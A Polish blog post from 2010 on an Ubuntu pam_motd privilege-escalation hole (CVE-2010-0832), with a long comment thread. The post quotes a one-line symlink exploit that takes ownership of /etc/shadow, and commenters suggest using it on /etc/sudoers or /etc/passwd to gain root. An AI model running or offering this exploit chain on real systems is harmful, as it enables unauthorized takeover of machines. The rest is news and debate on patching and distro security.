Trywialnie prosta do wykorzystania dziura w Ubuntu

  • Home
  • /
  • Blog
  • /
  • Trywialnie prosta do wykorzystania dziura w Ubuntu

Data: 8 lipca, 2010

W Ubuntu znajduje się luka, umożliwiająca każdemu użytkownikowi dziecinnie proste przejęcie praw administratora.

Kilka godzin temu na Twitterze Jona Oberheide’a ukazała się informacja o następującej treści:

rm -rf ~/.cache; ln -s /etc/shadow ~/.cache; ssh localhost (trigger pam_motd by re-logging in and you’ll own /etc/shadow) #tweetsploits

Wykorzystując powyższą metodę dowolny użytkownik Ubuntu mający dostęp do shella może przejąć na własność plik /etc/shadow, odpowiadający za przechowywanie informacji służących do uwierzytelniania użytkowników, lub dowolny inny plik w systemie.

Nie wiadomo, od kiedy dziura jest znana “złym ludziom”.

Podobne wpisy

Twój adres email nie zostanie opublikowany. Wymagane pola są oznaczone


  1. d_xter pisze:

    ~wujek_bogdan
    Jesteś pewien, że daj dostęp tylko do /etc/shadow? Może /etc/passwd też da się podejrzeć? Lub jeśli mówimy o chamskich i brutalnych hackach, to może wystarczy wrzucić do cache /etc/sudoers i dodać siebie na uprawnieniach ALL(ALL)? Było by zabawniej, zmienić hasło root-a na takie jak się marzy, a nie szarpać się z łamaniem?

    1. fEnIo pisze:

      A po jaką cholerę Ci /etc/passwd?

      pozdr,
      fEnIo

      1. abcd pisze:

        Można ustawić swojemu kontu UID0 czyli roota.

    2. Sławek pisze:

      /etc/sudoers musi mieć ustawione odpowiednie prawa dostępu, bo inaczej sudo nie będzie działać.

  2. _user_ pisze:

    sprawdzilem, szybcy sa bo juz nie dziala 🙂

    1. Leopard pisze:

      Testowane na Fedorze 12 – nie działa.

  3. trasz pisze:

    Bledy zdarzaja sie wszystkim. Problem w tym przypadku polega na tym, ze ten blad wynika z elementarnego bledu programistycznego – tego typu problemy byly popularne kilkanascie lat temu; wydawalo sie, ze od tamtego czasu programisci douczyli sie o podstawach. Przyklad Ubuntu dowodzi, ze jednak nie.

    Drugi problem to review. Zmiany w rzeczach kluczowych dla bezpieczenstwa, takich jak moduly PAM, powinny byc przejrzane przez kogos kompetentnego. Powyzszy problem – a takze pare innych, w rodzaju pamietnej wtopy Debiana z OpenSSL-em – pokazuje, ze ten proces rowniez nawala.

    1. spy000yps pisze:

      No, ok jest błąd. Ale zdziwiłbym się, gdyby był tylko w łubudubu.

      Przecież pam jest używane chyba w większości dystrybucji – no może designerowski owl ma jakieś swoje ustrojstwo.

      Nie zdziwiłbym się, gdyby to działało też na innych distrach. Oni raczej nie wrzucają swoich syfów do pam tylko biorą od debiana. Mało prawdopodobne, że to ich wpadka. Siła rażenia może być bardzo duża, bo wielu ludzi zmienia tapetę w łubudubu i sprzedaje jako własny system.

      Jak znam życie, to SELinux tu nie pomoże ;).

    2. back-to-root.blogspo pisze:

      Ja na codzień widzę programistów tworzących sobie pliki /tmp/cośtamcośtam, a jak im nie działa co innego, nie stronią od rozwiązań typu chmod a=rwx.
      No ale to programiści aplikacji biznesowych, a nie systemowych, więc im wolno.

      1. launchpad.net/~mgol pisze:

        Może czegoś nie łapię, ale co jest złego w stworzeniu sobie pliku tymczasowego w /tmp/?

        1. iron_irony pisze:

          @mgol jeśli nadajesz zawszę tę samą nazwę pliku w /tmp i działasz z uprawnieniami root'a, to ktoś nie mający takich uprawnień może zrobić np. tak: ln -s /etc/shadow /tmp/cośtamcośtam . Po następnym starcie Twojego programu z uprawnieniami root-a /etc/shadow zostanie zniszczone (jeśli /etc jest na systemie plików zamontowanym RW)
          Szczegóły jak to ominąć np.
          <code>man -s 3 mkstemp</code>

        2. launchpad.net/~mgol pisze:

          A, OK, mówisz o stałych nazwach. Ja zazwyczaj korzystałem z jakichś losowych sufiksów, upewniając się uprzednio, że dany plik już nie istnieje.

  4. clondike pisze:

    Ale babol! Pojawiła się już nowa wersja bibliotek pama w repozytorium (przynajmniej 9.10)

    Version 1.1.0-2ubuntu1.1:

    * SECURITY UPDATE: root privilege escalation via symlink following.
    – debian/patches-applied/pam_motd-legal-notice: drop privs for work.
    – CVE-2010-0832

    1. trasz pisze:

      No nie mow, ze to nie Ubuntu, tylko _znowu_ Debian. Bo jesli tak, to cos jest u nich _strasznie_ nie tak z poziomem kompetencji programistow i z procesem wydawniczym.

      1. popo@op.pl pisze:

        jak w każdym linuksie

        1. przemo_li pisze:

          @trasz ale to jest one day patch, naprawdę nie ma się co martwić
          jeden dzień to krótko i pokazało, że proces wyłapywania takich błędów oraz ich naprawiana działa

        2. trasz pisze:

          Fakt pojawienia sie tej dziury pokazal, ze proces wylapywania takich bledow kompletnie nie dziala – bo powinno to zostac wylapane _przed_ wydaniem.

        3. anonymous pisze:

          @popo@op.p

          Raczej jak w bsd o windozach, czy macosach nie wspominając:

          http://www.heise-online.pl/newsticker/news/item/F…

        4. trasz pisze:

          @anonymous: Tyle, ze dziura w Ubuntu to elementarny blad – programista nie zna podstaw bezpiecznego programowania pod Uniksami – a niedawna dziura w BSD to dosyc skomplikowany blad wynikajacy z dziwnej interakcji miedzy dwoma kawalkami kernela.

      2. Żaden Debian.
        I przestań _znowu_ tak _strasznie_ zrzędzić.

      3. fEnIo pisze:

        Odzajączkuj się od Debiana. Jakbyś nie wiedział to Ubuntu bazuje na Debianie i paczki buduje w sposób debianowy, więc w każdej jest katalog debian/, a w nim na przykład patche.

        http://www.heise-online.pl/newsticker/news/item/U…

        Tam masz to zresztą napisane, że problem dotyczy tylko Ubuntu.

        pozdr,
        fEnIo

        1. trasz pisze:

          Fakt, Debian mnie zmylil. Co nie zmienia faktu, iz Debian mial juz na swoim koncie kompromitujaca wpadke z bezpieczenstwem.

        2. bobycob pisze:

          Jesteś w stanie wskazać system który nigdy nie miał?

        3. Plichu pisze:

          @trash
          A jaki współczesny system nie miał kompromitującej wpadki?
          Błędy się zdarzają…

        4. trasz pisze:

          @Plichu: Wpadki, ktora popelnic moze tylko poczatkujacy programista, i ktora nie przeszlaby przez zaden review? W ciagu ostatnich paru lat cos takiego nei zdarzylo sie ani Solarisowi, ani FreeBSD, ani pozostalym uniksom.

        5. bobycob pisze:

          może za słabo szukano 😛
          Śmiało można powiedzieć, że popularność wymienionych "Uniksów" jest ułamkiem popularności Ubuntu.

        6. ufoludek pisze:

          @bobycop: jak to się czasy zmieniają… Sugestie, że na Linuksa jest mało wirusów w porównaniu z Windows z powodu jego znikomej popularności, zwykle linuksiarze z miejsca odrzucali, że to nie przez brak popularności tylko dlatego, że Linux jest bezpieczy by design.
          A teraz proszę — popularność ma znaczenie 🙂

        7. trasz pisze:

          @bobycob: Popularnosc Ubuntu jest ulamkiem popularnosci OSX-a – a tam tego typu bledu tez nie bylo.

        8. WebNull pisze:

          A ile windows miał wpadek z bezpieczeństwem?

        9. Tomasz Woźniak pisze:

          @trasz: no, a na CanSecWest Leopard padł w 30s a Ubuntu nie dało się przez 3dni.
          Ale fakt- błąd na błędzie, złe założenia, goowniane wykonanie- no patrz, ale działa 😉

        10. Sławek pisze:

          Były za to w Windows 7(z infekcją pamięci notatnika).

        11. Lashlo pisze:

          @trasz w ciągu kilku ostatnich lat FreeBSD miało lukę że można było przejąć roota, a i solaris miał też coś z ssh tak więc twoja wypowiedz 5 komentarzy wyżej jest nieprawdziwa 😉

        12. bobycob pisze:

          OSX w wersji serwerowej jest rzadko spotykany – przynajmniej na naszym kontynencie. Więc znów można powiedzieć, że ilość OSX w tej roli jest ułamkiem instalacji Łubudubu.

        13. trasz pisze:

          Ubuntu w wersji serwerowej jest rzadko spotykane – to system glownie na desktopy, jak OSX. I mimo popularnosci bedacej znikomym odsetkiem popularnosci OSX-a ludzie znajduja w nim tego typu bledy.

        14. bobycob pisze:

          i tu się ciśnie, znajdują bo jest co przeglądać
          słabo znam OSX (Choć mam do niego dostęp) jednak, czy jesteś w stanie przyjrzeć się skryptom PAM, czy też usługi za to odpowiedzialnej?

        15. trasz pisze:

          Z tego co widze (glownie po "man -k pam"), to OSX uzywa standardowego OpenPAM. Wiec tak, jestem.

        16. el.pescado pisze:

          W Ubuntu ludzie się przyglądali, przyglądali, przyglądali aż po ośmiu miesiącach znaleźli błąd;)

      4. gotar pisze:

        To chyba wynika z modelu rozwoju – skoro pakiety mają opiekunów, to inni zakładają, że są to osoby kompetentne i nie przeglądają ich zmian. Raz się taki domorosły hakier nauczył używać Valgrinda i naprawił openssl, teraz z kolei jakiś piewca wolności, praw i moralności postanowił każdemu wyświetlić licencję, no i jak wyszło widzimy.

  5. wujek_bogdan pisze:

    exploit pozwala jedynie na dostęp do /etc/shadow. kolejna kwestia to złamanie zahaszowanych tam haseł. jeśli hasło jest proste/krótkie/słownikowe może się to udać w stosunkowo krótkim czasie, jeśli mamy mocne hasło nie będzie to możliwe do wykonania brute forcem w rozsądnym czasie.

    a może da się zmienić hasło (tzn hasza) i otrzymać dostęp do konta roota?

    1. trasz pisze:

      Jesli jestes wlascicielem pliku /etc/shadow, to mozesz go zmodyfikowac, zmieniajac haslo na przyklad na puste.

    2. goldie pisze:

      Niestety, ale to nieprawda. Exploit działa na dowolny plik w systemie: zmieni jego właściciela i grupę na bieżącego usera (uprawnień nie tyka). To może być i plik sudoers.

    3. Sławek pisze:

      Możesz w takim wypadku skopiować /etc/shadow, zmienić hasło, by następnie przywrócić stary plik.

      1. Sławek pisze:

        Mój błąd:
        http://www.heise-online.pl/open/news/item/Ubuntu-…

  6. alazif pisze:

    To jest pikuś – przeczytajcie lepiej to : http://forum.linuxmint.pl/index.php/topic,1660.0….

    No ja bym się nieźle wk…wił jak by mi windows zjadł dokumenty przez bład podsystemu graficznego .

    1. trasz pisze:

      To bardziej wyglada na blad uzytkownika, celowe dzialanie zlych ludzi albo pad filesystemu niz cos z grafika.

    2. rkowal pisze:

      Argumentacja w stylu: "a u Was biją murzynów" nigdy do mnie nie trafiała.

  7. alazif pisze:

    TO jest pikuś – przeczytajcie raczej to :
    http://forum.linuxmint.pl/index.php/topic,1660.0….
    Ja bym się nieźle wk..wil jak by mi winodws zjadł dokumenty przez awarię podsystemu grafiki

  8. FreakSoap pisze:

    Tak z ciekawosci, jezeli Ubuntu jest na Debianie to czy ten sam blad dziala pod Debianem lub pod innymi dystrybucjami tez? Czy tylko na Ubuntu? Nie uzywam Linuxa tak wiec nie moge na "szybko" sprawdzic.

    1. Zacznij używać 😉

      Ale na Debianie nie ma.

      1. FreakSoap pisze:

        Nie ma na Linuxie programow ktore uzywam:) (np. Yahoo Messenger z obsluga kamery)

        Uzywalem Ubuntu przez 2 lata do czasu gdy cos zepsulo sie z partycja nie potrafilem odzyskac swoich plikow. Jeszcze knfigurowanie wszystkiego zajmuje bardzo dlugo czasu lub zajmowalo. Nawet jezeli potrafie skonfigurwac to z pomoca tutoriali i for na temat dystrybucji to jednak czasochlonnosc szukania jest zbyt duza dla mnie lol:)

        Mialem jeszcze Debiana i PLD przez kilka lat jako router do neostrady.

        Przyznaje, ze uzwanie (gdy wszystko bylo skonfigurowane) bylo przyjemniejsze niz w porownaniu do Windowsa:)

        1. marcinsud pisze:

          dlatego po udanej instalacji i konfiguracji robi sie obraz partycji z systemem ktory sie pozniej odtwarza i w przypadku windows i linux i cokolwiek innego to wygodna metoda.

        2. Trochę byłby nieaktualny ten obraz, bo ostatnią (i pierwszą) instalację Debiana robiłem 4 lata temu 😉

        3. marcinsud pisze:

          można sobie robić osobne np. co tydzień. Proces jest raczej bezobsługowy i wcale tak długo nie trwa.

        4. trasz pisze:

          No tak, zabootowanie z zewnetrznego nosnika (nie chcesz chyba robic image'u podmontowanego filesystemu?) i przewalenie kilkuset GB na zewnetrzny dysk jest bezobslugowe i nie trwa, ROTFL. Gdyby Linux mial dzialajace snapshoty i cos w rodzaju zfs send/zfs receive albo chociaz odpowiednik TimeMachine z OSX, wtedy moznaby tak powiedziec.

        5. trasz pisze:

          @eee: No wiem, w handlu sa dyski majace ponad 1TB, ale na przyklad ja nadal mam tylko 500GB w laptopie, i spokojnie mi wystarczy.

        6. tomek pisze:

          @trasz – jeżeli Twoje systemy zajmują po kilkaset GB, to współczuję – moje Gentoo mieści się na 25 GBowej partycji, po skompresowaniu przez partimage backup tej partycji zajmuje ~10 GB…

        7. trasz pisze:

          @tomek: Nie oczekujesz chyba, ze bede backupowal system, a nie bede backupowal naprawde istotnych rzeczy, na przyklad mojego $HOME?

  9. A czy może być trywialnie trudna dziura?

  10. Bez paniki. Z tego co wiem to ten błąd nie dotyczy "dowolnego użytkownika" tylko użytkownika który pod ubuntu jest oznaczony jako administrator (co i tak mu daje prawo do zmiany /etc/shadow )

    1. goldie pisze:

      Ciekawe, czemu ma nie dotyczyć. PAM działa z prawami roota, bo wywołuje go /bin/login (lub /usr/bin/sshd). Co miałoby go powstrzymać przed nadpisaniem $HOME/.cache?

  11. W Debianie tego nie ma. Co więc Ubuntu spieprzyło?

  12. deimon pisze:

    trywialnie prosta, autentyczny fakt, masło maślane …

    1. trywialny != łatwy

      trywialny: pospolity, prostacki, wulgarny, ordynarny.

      1. admo pisze:

        trywialny również znaczy łatwy

      2. tuwXyz pisze:

        Za SJP… trywialny
        2. «oczywisty i banalnie łatwy»

        …jednak łatwy.

      3. @d. Nie widziałeś nigdy w książce zdania "dowód jest trywialny"? To się zawsze odnosiło do prostoty i oczywistości dowodu. W tym przypadku chodzi właśnie o to, bo przecież nie prostacko-wulgarność 😀

  13. grizz pisze:

    Moooment…

    Wykorzystując powyższą metodę dowolny lokalny użytkownik Ubuntu

    Czyli zdalnie się nie da? No to za przeroszeniem mając fizyczny dostęp do maszyny uzyskanie roota jest banalne bez żadnych dziur.

    1. trasz pisze:

      Nie chodzi o dostep fizyczny, tylko o dostep do shella.

      1. grizz pisze:

        To dlaczego w tekście widnieje użytkownik lokalny? Paskudna jakość tych newsów.

        1. trasz pisze:

          Dowiedz sie w wolnej chwili, czym – ogolnie – rozni sie exploit lokalny od zdalnego. Terminologia powinna ci sie troche rozjasnic 🙂

        2. Sławek pisze:

          Korzystając z maszyn terminalnowych mógłbyś uzyskać dostęp do serwera na prawach root-a.

    2. Na prawidłowo zabezpieczonym komputerze uzyskanie roota nawet przy fizycznym dostępie do sprzętu jest niemożliwe (pomijam instalację sprzętowych keylogerów albo podmianę klucza UBS i czekanie aż admin sam poda hasło). Ale takie rzeczy to tylko w Linuksie.

      1. draken pisze:

        Przy fizycznym dostępie, wiele jest możliwe, chociażby wyjęcie dysku i podmontowanie gdziekolwiek indziej, ewentualnie boot z livecd i hulajdusza.

        1. wildenergy pisze:

          polecasz ~-50% do wydajności?

        2. trasz pisze:

          @wildenergy: Przy dzisiejszych procesorach spadek wydajnosci nie jest az tak duzy (pierwsza lepsza maszyna potrafi przepchnac ponad 100MB/s w GELI), a szyfrowanie, zwlaszcza w laptopie, to fajna rzecz.

        3. Tu zgodzę się z tr*szem.
          Nie zauważyłem żadnego spadku wydajności.
          Dane da się czytać/pisać tak samo szybko jak z nieszyfrowanej partycji (testowane).
          Nie pamiętam jakie było zużycie CPU przy tych testach, ale przy codziennej pracy nie da się zauważyć. Przy standardzie jakim są 2-rdzeniowe procesory to z resztą nie ma znaczenia.

        4. mariusz pisze:

          U mnie gdy mialem dysk wirtualnej maszyny z windowsem na szyfrowanej partycji (host linux), to przy kopiowaniu duzych plikow na windows polaczonym z kopiowaniem plikow na hoscie na drugim szyfrowanym dysku, samo szyfrowanie potrafilo zajac ~70-80% jednego rdzenia. Transfer tez wydawal sie wolniejszy niz w aktualnej konfiguracji, gdzie wirtualne maszyny trzymam na oddzielnym fizycznym dysku na nieszyfrowanym xfs. Procesor nie najgorszy, c2d 2,4GHz. Chociaz przyznam, ze przy normalnej pracy nie czuc szyfrowania. No chyba, ze w tle leci wiekszy update 😉

          btw. `dd if=/dev/zero of=zeros` na szyfrowanej partycji powoduje obciazenie szyfrowaniem ~50-60% jednego rdzenia.

        5. Maciej Piechotka pisze:

          Do AES w i7 jest instrukcja i ponoć działa kilka razy szybciej (i.e. test dd + dm-crypt + odpowiedni moduł jądra). Choć nie mam i7 więc nie próbowałem.

        6. Sławek pisze:

          Ja mam obecnie szyfrowanie, ale tylko /home . Też nie zauważyłem spadku wydajności.

      2. trasz pisze:

        Wszystkie pozostale systemy maja rownie dobre (Windows z odpowiednim oprogramowaniem) lub lepsze (FreeBSD) rozwiazania szyfrujace – albo caly dysk, albo wybrana czesc. Natomiast teza o fizycznym dostepie jest bzdurna (jak wiekszosc twoich rewelacji, oO) – proponuje wyguglac prezentacje Joanny Rutkowskiej o "Evil Maid Attack".

        1. Co jest w tym bzdurnego?

          Jak chcesz się włamać, gdy wszystkie partycje są zaszyfrowane, a /boot jest na pendrive?

          Z tego co czytam ten twój atak jest właśnie wymierzony w niezaszyfrowaną partycję /boot, więc nie jest żadnym odkryciem ani niespodziewanym zagrożeniem.

          Oczywiście możesz ukraść mi pendrive, spreparować go i niepostrzeżenie odłożyć na miejsce. Możesz też mnie porwać i torturami wymusić wyjawienie hasła 😉 Ale to ma się nijak do realnego naruszenia bezpieczeństwa.

        2. trasz pisze:

          @oO: Boot na pendrive? To moze po prostu wyjmowac twardy dysk i ze soba caly czas nosic? ;->

        3. Nie wiem czego się czepiasz. To popularna metoda.
          I, co najważniejsze, działa, jeśli już komuś aż tak zależy na bezpieczeństwie danych.

          A dysku się ze sobą nie nosi, bo narażasz go na uszkodzenia 😉
          No chyba, że SSD, jeśli potrzebujesz przenosić dużo danych i mieć do nich szybki dostęp.

        4. @oO
          Każda teza z "niemożliwe" jest bzdurna- wszystko jest możliwe, zwłaszcza w informatyce, zwłaszcza w linuksie.

          Osobiście odradzam instalowanie czegokolwiek na pendrive- niejednokrotnie miałem problemy z odmawianiem posłuszeństwa przy zapisie( a raczej nie zapisywania i nie informowania o tym ) czy gubieniem danych na często używanych pendrive-ach. Pamięci błyskowe mają swoją żywotność zapisu, także w obszarach tablicy partycji i MBR. Czasem po prostu się przegrzewają i wszystko szlag trafia albo nie wszystko tylko kilka sektorów, a zagubiony sektor w binarce to nieprzyjemna sprawa. Pendrive-y i karty doskonale nadają się do przenoszenia danych i ich przechowywania z nakierowaniem na odczyt, ale na system, w kawałkach czy w całości, nie bardzo.

        5. Reddie pisze:

          @hez: na /boot rzadko się zapisuje.

  14. Reddie pisze:

    http://www.heise-online.pl/newsticker/news/item/U…

    Traszowi należą się podziękowania za kolejny dowód na szybkie łatanie dziur w Linuksie 🙂

    1. trasz pisze:

      Exploit od kilku tygodni krazyl wsrod "zlych ludzi", wiec nie powiedzialbym, ze takie szybkie.

      1. Reddie pisze:

        W niusie widnieje informacja, że:

        Kilka godzin temu na Twitterze Jona Oberheide’a ukazała się informacja

        1. trasz pisze:

          Natomiast exploit od kilku tygodni krazyl wsrod zlych ludzi.

        2. bobycob pisze:

          świetna argumentacja
          Exploit na OSX od lat krąży wśród złych ludzi – ani ja tego nie udowodnię, ani ty takiej bzdury nie obalisz.

        3. trasz pisze:

          @bobycob: Zapewne owszem, krazy. Ale czy widziales tu ostatnio jakiegos fanboya twierdzacego, ze dziury w OSX (pomijam juz, ze tak idiotyczne dziury w systemach innych niz Linux generalnie sie nie zdarzaja) sa łatane natychmiast? Bo fanboya mowiacego to w odniesieniu do Ubuntu masz kilka postow powyzej.

        4. Reddie pisze:

          Natomiast exploit od kilku tygodni krazyl wsrod zlych ludzi.

          Pozwolę sobie odpowiedzieć cytatem: URL?

        5. Tomasz Woźniak pisze:

          @trasz: panie Edwardzie. Spokojnie- ja czytam posty i jakoś nie widzę tekstów jakie pan insynuowane. Sam pan nie jest w stanie udowodnić, że ta luka znana była 'złym ludziom' od tygodni. To pana insynuacje i proszę być konsekwentnym- insynuacje u innych są tak samo złe jak te u pana.

          Rozumiem emocje, że wreszcie trafiła się perełka w informacjach o dziurze na Linuksa (szkoda, że tylko Ubuntu… no nie) i trzeba pofolgować swoim teoriom o złym założeniom programistycznym, modelowi rozwoju i ogólnie straszliwej jakości kodu w Linuksie. Przecież wreszcie trafiła się taka perełeczka- a to rzadkość, ale przecież to nie ujmuje pańskiej teorii (przepraszam- wiedzy).

          Czekam z ciekawością na kolejne tego typu posty. Jakość kodu w Linuksie przecież jest tak tragiczna, że przy takim chaotycznym modelu rozwoju podobnej klasy wpadki powinny być regularnie. Nieprawdaż?

          PS.
          A rzeczywistość pokazuje, że przy konfrontacji z hakerami to Ubuntu wytrzymało 3 dni, a Leopard odpadł po 30s.

        6. bobycob pisze:

          z drugiej strony
          Fatalnie wygląda ta "usterka" łubudu jest przedstawiany jako bezpieczna alternatywa dla Windows. Jednak jest to system dostępny za free.
          Ciekaw jest, czy takie kwiatki trafiają się w dystrybucjach sprzedawanych za ciężkie pieniądze jak np RedHat albo Suse.

        7. trasz pisze:

          @Reddie: Czego oczekujesz, wywiadu z greyhatem, ktoremu znudzilo sie dotychczasowe zycie? 😉

          @bobycob: Dobrze pamietam, ze jakis czas temu ktos sie wlamal do RedHata (firmy, nie dystrybucji) i wykradl klucz uzywany do podpisywania paczek? Taka wtopa nawet Microsoftowi nigdy sie nie zdarzyla.

        8. Reddie pisze:

          Czego oczekujesz (…)?

          Dowodu. No bo przecież nie uważasz, że Sławek musi udowadniać istnienie exploita a ty nie, prawda? ;>

        9. bobycob pisze:

          oj akurat MS nie jest dobrym przykładem
          Mają bogata historię:
          http://hacking.pl/pl/news-1796-Wlamanie_na_serwer…
          tak na szybko 🙂 takie coś to nawet applowie się nie zdarzyło 😉

        10. bobycob pisze:

          podejrzewam, że chodzi ci o ten przypadek:
          http://www.idg.pl/news/166151/Wlamanie.na.serwery…

          Nie za stary jesteś aby tak kłamać? RedHat != Fedora 😛

        11. bobycob pisze:

          ok cofam co powiedziałem – nie jesteś za stary 😉

        12. trasz pisze:

          @Tomasz Woźniak: Jaki sens w tym przypadku mialoby "udowodnienie" ci czegokolwiek? Nie chcesz, nie wierz, twoj problem. Naprawde nie zalezy mi na przekonaniu cie, ze dziur nie szukaja wylacznie ludzie nienaganni moralnie i czysci jak lza. 😉

          Co do "trzydziestu sekund", na ktore sie powolujesz – zapomniales wspomniec, ze chodzilo tam o luke w przegladarce, nie w systemie operacyjnym. Coz, jak sie nie ma flasha domyslnie wlaczonego, to sie jest mniej narazonym, taki lajf.

          @Reddie: Nie prosilem Sławka o udowodnienie niczego, tylko o podanie URL-a, bo zwyczajnie jestem ciekawy – zwlaszcza, ze exploit "z infekcja pamieci notatnika" nie wyglada specjalnie wiarygodnie, przyznasz.

          @bobycob: W sumie mozliwe, ze Fedora. Tak czy inaczej tego rodzaju wtopa nie przydarzyla sie nawet Microsoftowi – kompromitacja hasel betatesterow to jednak zupelnie inna klasa problemu niz wyciek klucza uzywanego do podpisywania oficjalnie dystrybuowanych paczek.

        13. Reddie pisze:

          Nie prosilem Sławka o udowodnienie niczego, tylko o podanie URL-a, bo zwyczajnie jestem ciekawy – zwlaszcza, ze exploit “z infekcja pamieci notatnika” nie wyglada specjalnie wiarygodnie, przyznasz.

          Ja też jestem zwyczajnie ciekawy, bo exploit krążący "od tygodni" o którym nikt nie słyszał nie wygląda specjalnie wiarygodnie.

        14. Reddie pisze:

          A, no i posłużę się jeszcze raz tym, co napisałeś w newsie:

          Nie wiadomo, od kiedy dziura jest znana “złym ludziom”.

          Skoro NIE WIADOMO to znaczy, że nie jesteś w stanie stwierdzić, czy znana jest od wczoraj czy od tygodni. Jakim cudem teraz jesteś tego tak pewien? Gdy fakty nie pasują do tezy, to tym gorzej dla faktów? ;>

        15. trasz pisze:

          Bo nius ma byc obiektywny i podparty czyms _publicznie_ znanym.

        16. Reddie pisze:

          Jak każda teza, inaczej to tylko twoje wydumki.

        17. Tomasz Woźniak pisze:

          @trasz: panie Edwardzie- ja tylko biłem do tego, że z jednej strony piętnował pan nieudowodnione insynuacje, z drugiej sam pan je sieje. Nie chcę aby mnie pan do czegokolwiek przekonywał.
          Dowolny błąd jaki jest łatany można określić typem 'tygodniami miał do niego dostęp sztab złych ludzi'. Jako, że taka teza jest nie do udowodnienia, to po co ją siać? Jedyny powód jaki mi przychodzi do głowy to populizm, ale o to pana nie posądzam.

          Co do samego włamu na konkursie- Ubunciak też miał Flasha, tylko akurat luka w nim nie działała. Osobiście wyznaje zasadę, że nie ma firmy posiadającej monopol na bezawaryjność, czy tym bardziej na tworzenie kodu bezbłędnie.

          Tak na chłopski rozum- ani OSX ani Ubuntu nie mają za priorytet bezpieczeństwa. Jest bardzo ważne, ale w starciu wygoda użytkownika kontra kompromisy bezpieczeństwa, wygrywa u obu właśnie użytkownik. Wpadki w bezpieczeństwem w OSX zdarzają się pewnie rzadziej (model rozwoju i wielkość inwestycji), ale nie uwierzę w teorię o tym że ich nie ma. Nie uwierzę też, że nie ma kodu dostępnego dla złych ludzi tygodniami 😉

          Co do pańskiej ideologicznej teorii o złej jakości kodu w Linuksie i ogólnej masie błędów systemowych i projektowych. Wydaje mi się, że postrzega pan wszystko przez pryzmat wizji unixowej- prostych małych kawałków spinanych w wielkie rzeczy. Mały kawałek łatwo udokumentować, zaprojektować i zoptymalizować niż bardziej skomplikowany. Pański problem to niedostrzeganie, że Linux to nie Unix. To podobna wizja i szereg zgodności (jak języki Polski i Rosyjski). Rozwija się jednak inaczej- póki co nadal wybuchowo- czyli silnie nastawiając się na nowości i eksperymenty w każdym kierunku. To nie rozwój koła, ale losowej krzywej zamkniętej, w której zamykana powierzchnia się poszerza, ale nierównomiernie na każdym z promieni. Tego typu wpadki będą się zdarzały- jednak będą wyciągane też wnioski i błędy będą naprawiane.

          Pozdrawiam serdecznie. Zaproszenie do Szczecina nadal aktualne ;D

        18. trasz pisze:

          @Tomasz Woźniak: To, ze od kilku tygodni exploit krazyl wsrod "zlych ludzi", to nie teza, tylko stwierdzenie faktu. Jesli nie chcesz wierzyc – masz prawo. Jesli chcesz, mozesz nawet wierzyc, ze jestem wielbladem – niespecjalnie moge udowodnic, ze nie jestem, przynajmniej bez spotkania w realu.

          Co do Flasha – milo, ze sobie wyjasnilismy, ze twoj argument o "zdobyciu OSX w ciagu trzydziestu sekund" sprowadzal sie do dziury we Flashu, a nie w systemie operacyjnym.

          Co do rozwoju Linuksa – zgadzam sie co do tego, iz developerzy Linuksa kompletnie nie rozumieja idei KISS. Nie zgadzam sie co nowosci i eksperymentow – sorry, ale w Linuksie mozna ich ze swieca szukac; przykladem stagnacji sa chociazby systemy plikow – Linux nadal tkwi w latach dziewiecdziesiatych (ext4 to funkcjonalnie i projektowo cos jak VxFS sprzed pietnastu lat). Wybuchowy rozwoj (a wlasciwie wybuchowy wzrost popularnosci) skonczyl sie kilka lat temu, co widac po statystykach – udzial w rynku serwerow, tak jak udzial w rynku desktopow, od paru stoi w miejscu.

        19. Tomasz Woźniak pisze:

          @trasz: oki – jest postęp. Czyli KISS często w Linuksie nie istnieje- sama idea nie jest jakimś panaceum na niesamowitość, ale metodyką pracy, która wcale nie musi działać. Tworzenie oprogramowania mając tą metodykę głęboko w poważaniu, wcale nie musi prowadzić do bałaganu. To tyle na wstępie.
          Niemniej jasne jest, że Linux nie zawsze ma podejście Unixowe. Czy to dobrze, czy źle- na dwoje babka wróżyła i różnie to bywa.

          Co do rozwoju, to jest pan mocno niesprawiedliwy. Ostanie lata to ogromny rozwój, a system plików o jakim pan wspomina- chciałem zaznaczyć że pański ukochany FreeBSD też sam sobie nowoczesnego system plików nie stworzył. Eksperymenty są podejmowane i realizowane- to, że pan ich nie chce widzieć to pańska sprawa i pańska ideologia. Przykład- chociażby USB3. Mógłbym wymienić kilka technologi, ale skoro pan nie che mnie przekonywać, to tym bardziej ja pana.

        20. Reddie pisze:

          To, ze od kilku tygodni exploit krazyl wsrod “zlych ludzi”, to nie teza, tylko stwierdzenie faktu.

          Buehehe 😀 Fakty, kochany, mają to do siebie, że są obiektywnie weryfikowalne.

        21. Reddie pisze:

          Wybuchowy rozwoj (a wlasciwie wybuchowy wzrost popularnosci) skonczyl sie kilka lat temu, co widac po statystykach – udzial w rynku serwerow, tak jak udzial w rynku desktopow, od paru stoi w miejscu.

          Piszesz o FreeBSD, tak? ;>

        22. trasz pisze:

          @Tomasz Woźniak: Owszem, niezrozumienie idei KISS nie musi prowadzic do balaganu. Co nie zmienia faktu, ze w przypadku Linuksa cos do aktualnego balaganu ewidentnie doprowadzilo.

          Co do rozwoju – mozesz podac przyklad tego "ogromnego rozwoju" w ciagu ostatnich kilku lat? Co do FreeBSD – przypomnij mi, kto wysunal teze o ogromnej innowacyjnosci FreeBSD, ktora starasz sie obalic? 😉

          Odnosnie USB3 – to owszem, jest eksperyment – ale tworcow sprzetu. Rola Linuksa ogranicza sie do posiadania sterownikow, w ktorych nie ma nic innowacyjnego.

          @Reddie: Wiec twoim zdaniem jesli jakas informacja nie jest publicznie dostepna, to nie istnieje. Fajne. Twoja karta kredytowa wie, ze wlasnie zniknales jej PIN? ;->

        23. Reddie pisze:

          Ziew, nie mam zamiaru się z tobą bawić w semantykę. Ty wiesz, że nie potrafisz udowodnić tego co piszesz. Ja wiem, że w związku z tym piszesz bzdury. It's that easy.

      2. miecho pisze:

        Ależ Pan trasz trolluje, łoł. Po prostu mistrzu. "Czas łatania" liczy się od upublicznienia/zgłoszenia dziury a nie od czasu kiedy jakiś hakier w swojej piwniczce go znajdzie i powie o tym kolegom w swoim hermetycznym środowisku.

        1. Tomasz Woźniak pisze:

          @miecho: nie, to chodzi że wreszcie takie coś się trafiło na Linuksa i można na fali polecieć z po bandzie. Obiektywizm kończy się gdy zaczyna się święta wojna.

        2. trasz pisze:

          @miecho: Czas łatania to wynalazek wymyslony przez linuksiarzy, kiedy poprzednie metody udowadniania wyzszosci nad Windows, czyli liczba znajdywanych dziur, przestaly dzialac na ich korzysc.

